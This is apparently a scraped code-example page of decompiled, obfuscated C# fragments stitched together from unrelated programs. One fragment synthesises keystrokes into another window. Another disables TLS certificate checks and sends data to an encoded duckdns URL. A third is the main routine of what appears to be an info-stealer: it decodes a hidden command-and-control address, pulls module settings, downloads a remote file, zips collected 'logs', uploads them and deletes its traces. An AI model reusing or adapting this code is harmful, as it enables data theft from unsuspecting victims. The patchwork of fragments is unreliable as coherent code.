                            if (!(text == ">"))
                            {
                                goto IL_5C2;
                            }
                            value2 = (Keys.RButton | Keys.MButton | Keys.Back | Keys.ShiftKey | Keys.Space);
                        }
                    }
                    else if (num != 1057798253U)
                    {
                        if (num != 3289118412U)
                        {
                            if (num != 3305896031U)
                            {
                                goto IL_5C2;
                            }
                            if (!(text == "@"))
                            {
                                goto IL_5C2;
                            }
                            value2 = (Keys)64;
                        }
                        else
                        {
                            if (!(text == "A"))
                            {
                                goto IL_5C2;
                            }
                            value2 = Keys.LControlKey;
                        }
                    }
                    else
                    {
                        if (!(text == ":"))
                        {
                            goto IL_5C2;
                        }
                        value2 = (Keys.RButton | Keys.Back | Keys.ShiftKey | Keys.Space);
                    }
                }
                else if (num <= 3725336506U)
                {
                    if (num <= 3641448411U)
                    {
                        if (num != 3624670792U)
                        {
                            if (num != 3641448411U)
                            {
                                goto IL_5C2;
                            }
                            if (!(text == Class18.smethod_11(5198)))
                            {
                                goto IL_5C2;
                            }
                            value2 = Keys.OemPipe;
                        }
                        else
                        {
                            if (!(text == "]"))
                            {
                                goto IL_5C2;
                            }
                            value2 = Keys.OemCloseBrackets;
                        }
                    }
                    else if (num != 3658226030U)
                    {
                        if (num != 3725336506U)
                        {
                            goto IL_5C2;
                        }
                        if (!(text == "["))
                        {
                            goto IL_5C2;
                        }
                        value2 = Keys.OemOpenBrackets;
                    }
                    else
                    {
                        if (!(text == "_"))
                        {
                            goto IL_5C2;
                        }
                        value2 = Keys.Sleep;
                    }
                }
                else if (num <= 4161554600U)
                {
                    if (num != 3842779839U)
                    {
                        if (num != 4161554600U)
                        {
                            goto IL_5C2;
                        }
                        if (!(text == "}"))
                        {
                            goto IL_5C2;
                        }
                        value2 = Keys.F14;
                    }
                    else
                    {
                        if (!(text == "`"))
                        {
                            goto IL_5C2;
                        }
                        value2 = Keys.Oemtilde;
                    }
                }
                else if (num != 4178332219U)
                {
                    if (num != 4211887457U)
                    {
                        if (num != 4262220314U)
                        {
                            goto IL_5C2;
                        }
                        if (!(text == "{"))
                        {
                            goto IL_5C2;
                        }
                        value2 = Keys.F12;
                    }
                    else
                    {
                        if (!(text == "~"))
                        {
                            goto IL_5C2;
                        }
                        value2 = Keys.F15;
                    }
                }
                else
                {
                    if (!(text == "|"))
                    {
                        goto IL_5C2;
                    }
                    value2 = Keys.F13;
                }
IL_5ED:
                Console.WriteLine(value2.ToString());
                ParamVisitor.PostMessage(value, 256U, (IntPtr)((int)value2), IntPtr.Zero);
                ParamVisitor.PostMessage(value, 257U, (IntPtr)((int)value2), IntPtr.Zero);
                Thread.Sleep(20);
                i++;
                continue;
IL_5C2:
                try
                {
                    value2 = (Keys)this._CodeVisitor.ConvertFromString(cfg[i].ToString());
                }
                catch (Exception)
                {
                    value2 = Keys.Down;
                }
                goto IL_5ED;
            }
            ParamVisitor.PostMessage(value, 256U, (IntPtr)13, IntPtr.Zero);
            ParamVisitor.PostMessage(value, 257U, (IntPtr)13, IntPtr.Zero);
        }
Exemplo n.º 23
0
        // Token: 0x060004B4 RID: 1204 RVA: 0x00028028 File Offset: 0x00026228
        private void metroTile2_Click(object sender, EventArgs e)
        {
            if (this._RepositoryMethod > 2)
            {
                MessageBox.Show("The code has already been sent!");
                return;
            }
            Random random = new Random();

            this.managerMethod = random.Next(100000, 999999);
            if (this.metroTextBox4.Text.Contains(Class18.smethod_11(5114)))
            {
                if (this.metroTextBox4.Text.Contains("@"))
                {
                    string text = string.Empty;
                    try
                    {
                        string instance = string.Concat(new string[]
                        {
                            DateTime.UtcNow.ToString("yyyy-MM-dd-HH-mm"),
                            "|",
                            "59DC-816E-BE7D-8EDC-340E-E11E-5E5A-04E4",
                            "|",
                            this.metroTextBox4.Text,
                            "|Verification code|",
                            this.managerMethod.ToString()
                        });
                        string s = string.Concat(new string[]
                        {
                            "ausdh0asy",
                            "8dUASY",
                            this.label4.Text,
                            ")/",
                            "ASydASDIAS"
                        });
                        byte[] counter  = SHA256.Create().ComputeHash(Encoding.ASCII.GetBytes(s));
                        byte[] consumer = new byte[]
                        {
                            1,
                            178,
                            187,
                            101,
                            193,
                            229,
                            22,
                            188,
                            231,
                            231,
                            239,
                            37,
                            230,
                            115,
                            7,
                            229
                        };
                        ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(this.CallMap);
                        byte[]         bytes          = Convert.FromBase64String("aHR0cHM6Ly9yZWFsZ29ibGlucy5kdWNrZG5zLm9yZzozNjgwMC9hcGkucGhwP2NtZD04JmtleT0=");
                        HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(Encoding.UTF8.GetString(bytes) + Worker.InsertList(instance, counter, consumer));
                        httpWebRequest.AutomaticDecompression = DecompressionMethods.GZip;
                        using (HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse())
                        {
                            using (Stream responseStream = httpWebResponse.GetResponseStream())
                            {
                                using (StreamReader streamReader = new StreamReader(responseStream))
                                {
                                    text = streamReader.ReadToEnd();
                                }
                            }
                        }
                        string[] array = text.Replace("\n", "").Split(new char[]
                        {
                            '|'
                        });
                        this._RepositoryMethod++;
                        MessageBox.Show("Verification code sent! Check all your inboxes\r\nOutput: " + array[0]);
                        return;
                    }
                    catch (Exception)
                    {
                        MessageBox.Show("Couldn't establish a connection to the server. Either the server is down, or you don't have any intrnet connection. Using a VPN might solve this issue.");
                        return;
                    }
                }
                MessageBox.Show("Please enter a valid email address");
                return;
            }
            MessageBox.Show("Please enter a valid email address");
        }
Exemplo n.º 24
0
        // Token: 0x06000131 RID: 305 RVA: 0x0000A8D0 File Offset: 0x00008AD0
        private static void Main(string[] args)
        {
            Class9.smethod_0();
            Class9.smethod_1();
            Class9.smethod_2();
            string string_ = "ʰʷˉ˞˜ʷ˩˾ʰ˼ʷʰ˞ˉ˜ʷʰʷʷ˼ʰʷ˜ʰʷ˜ʰ˒ʷ˜ʰʰʰʨʷʰʷʰʷʰʨʷʰʷʰ˿˜˾˩˼ˣ˯˳˃˞˜ˏ˓˃˯˳˼ˣʩʩʩʷʷʷʷ";

            byte[] byte_   = Class8.smethod_0("687474703a2f2f67616d656670736275737465722e7275");
            byte[] bytes   = Encoding.Default.GetBytes(Class11.smethod_2(string_));
            string @string = Encoding.Default.GetString(Class11.smethod_0(bytes, byte_));

            byte[] bytes2 = Encoding.Default.GetBytes(@string);
            GClass9.smethod_0();
            Class23.smethod_5(Class23.string_0);
            GClass9.smethod_1();
            string[] array = new StreamReader(WebRequest.Create(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2))).GetResponse().GetResponseStream()).ReadToEnd().Split(new char[]
            {
                ','
            });
            bool flag   = false;
            bool flag2  = false;
            bool flag3  = false;
            bool flag4  = false;
            bool flag5  = false;
            bool flag6  = false;
            bool flag7  = false;
            bool flag8  = false;
            bool flag9  = false;
            bool flag10 = false;
            bool flag11 = false;

            if (array[12] == "1")
            {
                flag8 = true;
            }
            if (!flag8)
            {
                Class12.smethod_5();
            }
            if (array[0] == "1")
            {
                flag = true;
            }
            if (array[1] == "1")
            {
                flag4 = true;
            }
            if (array[2] == "1")
            {
                flag5 = true;
            }
            if (array[3] == "1")
            {
                flag11 = true;
            }
            if (array[4] == "1")
            {
                flag2 = true;
            }
            if (array[5] == "1")
            {
                flag6 = true;
            }
            if (array[6] == "1")
            {
                flag10 = true;
            }
            if (array[7] == "1")
            {
                flag3 = true;
            }
            if (array[10] == "1")
            {
                flag9 = true;
            }
            if (array[11].StartsWith("http"))
            {
                flag7 = true;
            }
            if (flag7)
            {
                string text     = array[11];
                string fileName = Path.GetFileName(text);
                Class20.smethod_0(text, fileName);
            }
            if (flag)
            {
                Class13.smethod_3();
                Class21.smethod_0();
            }
            if (flag5)
            {
                Class18.smethod_0();
            }
            if (flag7)
            {
                string text2     = array[11];
                string fileName2 = Path.GetFileName(text2);
                Class20.smethod_0(text2, fileName2);
            }
            if (flag2)
            {
                Class17.smethod_10();
            }
            if (flag6)
            {
                Class17.smethod_6();
            }
            if (flag4)
            {
                Class15.smethod_0();
                Class13.smethod_2();
                Class25.smethod_9();
            }
            if (flag11)
            {
                Class17.smethod_5(GClass9.string_2);
            }
            if (flag3)
            {
                foreach (string item in array[8].Split(new char[]
                {
                    ':'
                }))
                {
                    Class17.list_0.Add(item);
                }
                Class17.int_0  = Convert.ToInt32(array[9]);
                Class17.int_0 *= 1024;
                Class17.smethod_8();
            }
            if (flag10)
            {
                Class17.smethod_9();
            }
            Class17.smethod_11();
            Class17.smethod_7();
            Class23.smethod_0();
            Class12.smethod_11();
            Class12.smethod_9();
            Class12.smethod_10();
            Class23.smethod_1();
            Class12.smethod_6();
            string string_2 = GClass9.string_0 + "\\" + Class23.string_0 + ".zip";

            try
            {
                Class27.smethod_0();
                Class27.smethod_1(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2)), string_2, "logs", "zip", Class27.nameValueCollection_0);
            }
            catch
            {
            }
            if (flag9)
            {
                Class12.smethod_7();
            }
            Class12.smethod_8();
            Directory.Delete(GClass9.string_6);
        }
Exemplo n.º 25
0
 // Token: 0x06000228 RID: 552 RVA: 0x000111E0 File Offset: 0x0000F3E0
 public static int smethod_0(string string_0)
 {
     Class18.smethod_0(string_0);
     Class19.smethod_0(string_0);
     return(Class20.int_0);
 }
Exemplo n.º 26
0
 internal Class5(Document A_0, Class18 A_1) : this(A_0, A_1, new CharacterFormat(A_0))
 {
 }
Exemplo n.º 27
0
    public override bool Equals(object obj)
    {
        Class18 <T, U> @class = obj as Class18 <T, U>;

        return(@class != null && EqualityComparer <T> .Default.Equals(this.gparam_0, @class.gparam_0) && EqualityComparer <U> .Default.Equals(this.gparam_1, @class.gparam_1));
    }
Exemplo n.º 28
0
 internal override bool vmethod_0(DocumentObject A_0)
 {
     return(Class18.smethod_5(A_0));
 }